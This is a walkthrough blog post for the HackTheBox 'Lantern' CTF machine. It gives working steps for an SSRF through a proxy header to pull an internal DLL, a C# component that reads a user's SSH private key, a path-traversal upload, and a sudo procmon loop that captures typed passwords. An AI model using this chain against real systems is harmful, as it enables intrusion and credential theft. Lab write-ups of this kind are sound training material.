Post

HackTheBox Lantern Writeup

Explore the fundamentals of cybersecurity in the Lantern Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.

Add Hosts

1
10.10.11.29 lantern.htb

Script to add hosts automatically

1
2
3
ip="10.10.11.29"
domain="lantern.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping

1
2
3
22   - SSH
80   - HTTP
3000 - Blazor application
1
whatweb http://lantern.htb/ -v

Web Application Insights

  • When accessing http://lantern.htb:3000, the console logs:
    1
    
    <script src="_framework/blazor.server.js"></script>
    
  • WebSocket connection:
    1
    
    WebSocket connected to ws://lantern.htb:3000/_blazor?id=-ODx7yAVlF-M0fiXgTGXag.
    
  • Exploring further:
    1
    
    http://lantern.htb:3000/_framework/blazor.boot.json
    

Potential SSRF Exploit (CVE-2022-38580)

Reference: Exploit-DB 51111

The target site operates as an IT company and allows users to upload resumes at:

1
http://lantern.htb/vacancies
  • The site is vulnerable to SSRF on ports 80 and 3000.
  • Accessing /_framework/blazor.boot.json reveals Blazor DLLs.
  • You can retrieve InternaLantern.dll through an SSRF exploit.

For reference, the structure of the Blazor DLLs in _framework can be explored in this repository:
BlazorStyled Framework Structure

Retrive Information About dlls

1
2
3
4
GET /_framework/blazor.boot.json HTTP/1.1
X-Skipper-Proxy: http://127.0.0.1:5000
Host: lantern.htb
Connection: close

Retrieve the DLL

Download the DLL using the following HTTP GET request with Skipper Proxy:

1
2
3
4
wget http://lantern.htb/_framework/InternaLantern.dll \
     --header="X-Skipper-Proxy: http://127.0.0.1:5000" \
     --header="Host: lantern.htb" --header="Connection: close" \
     -O InternaLantern.dll

Port 5000 was identified through fuzzing.

This command uses the SSRF vulnerability to retrieve the internal InternaLantern.dll file, leveraging Skipper Proxy.


Decompiling the DLL File

While dnSpy provides a comprehensive analysis of .NET assemblies, you can use avaloniailspy as a Linux-friendly alternative.

  1. Open InternaLantern.dll.
  2. Navigate to:
    InternaLantern > InternalLantern.Pages > Internal > OnInitializedAsync
  3. Search for instances of Convert.FromBase64String containing Base64 strings.
  4. Pay special attention to the last occurrence.
  5. Decode the Base64 string to uncover the password for logging in at http://lantern.htb:3000/.

Exploiting .NET Components

Install .NET 6 SDK

Install the .NET 6 SDK with your package manager using dotnet-sdk-6.0.

Create and Configure the .NET Project

Start by creating a new directory for your project and navigate into it. Then initialize a new console application:

1
2
3
4
5
dotnet new console -n sedlyf -f net6.0
cd sedlyf
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
sed -i 's/net8.0/net6.0/' sedlyf.csproj
sed -i 's/Exe/Library/' sedlyf.csproj

Update Program.cs

Replace the contents of Program.cs with the following code to include functionality for utilizing the render tree builder from ASP.NET components:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;

namespace sedlyf
{
    public class Component : ComponentBase
    {
        protected override void BuildRenderTree(RenderTreeBuilder builder)
        {
            base.BuildRenderTree(builder);
            string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
            builder.AddContent(0, file);
        }
    }
}

Build the DLL

Compile your project to generate a DLL file with the following command, ensuring you are in the project directory:

1
dotnet build -c Release

This builds the project in release mode. The resulting DLL file, sedlyf.dll, will be located under bin/Release/net6.0/.

File Upload

  1. Upload sedlyf.dll using the Upload content feature at http://lantern.htb:3000/.

  2. Intercept and Modify the Request:

    • Use Burp Suite to intercept the request. Install the Blazor Traffic extension for data serialization and deserialization.
    • Right-click the request, navigate to Extensions > Blazor Traffic Processor, and select Send Body to BTP tab.
    • Deserialize the body and modify the upload path by replacing sedlyf.dll with ../../../../../../opt/components/sedlyf.dll. After making the modification, reserialize the body and insert it back into the request.
    • Forward all requests and disable interception when finished.
  3. After the upload is successful, search for the sedlyf module to reveal its key.

1
2
3
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa tomas@lantern.htb
1
2
3
cat user.txt
cat /var/mail/$(whoami)
sudo -l
1
2
User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon
1
ps -aef | grep automation

Monitor automation.sh and capture its output.

1
2
3
4
5
6
7
8
9
10
OLD_PID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
while true; do
    NEWPID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
    if [ "$OLD_PID" != "$NEWPID" ] && [[ -n "$NEWPID" ]]; then
        echo "We have a new PID! Old PID: $OLD_PID, New PID: $NEWPID"
        OLD_PID=$NEWPID
        sudo /usr/bin/procmon -p $NEWPID -e write -c nano$NEWPID.out
    fi
    sleep 5
done

Wait for approximately 2 minutes or until you have captured 5,000 lines of output.

Then, download the dumped data to your local machine.

1
scp -i id_rsa tomas@lantern.htb:/home/tomas/nano*.out nano*.out

Run a Python REPL.

1
python

and paste

1
2
3
4
5
6
7
8
9
10
11
12
import sqlite3, binascii, glob

file = glob.glob('./nano*.out')[0]
with sqlite3.connect(file) as conn:
    cursor = conn.cursor()
    cursor.execute("SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;")
    hex_data = ''.join([row[0] for row in cursor.fetchall()])

binary_data = binascii.unhexlify(hex_data)
decoded_string = binary_data.decode('utf-8', errors='replace')

print("Decoded Data:\n", decoded_string)

Decoded data without escape codes: Q 33EEddddttddww33ppMMBB

Removing duplicates results in: Q3Eddtdw3pMB.

1
2
su root
cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.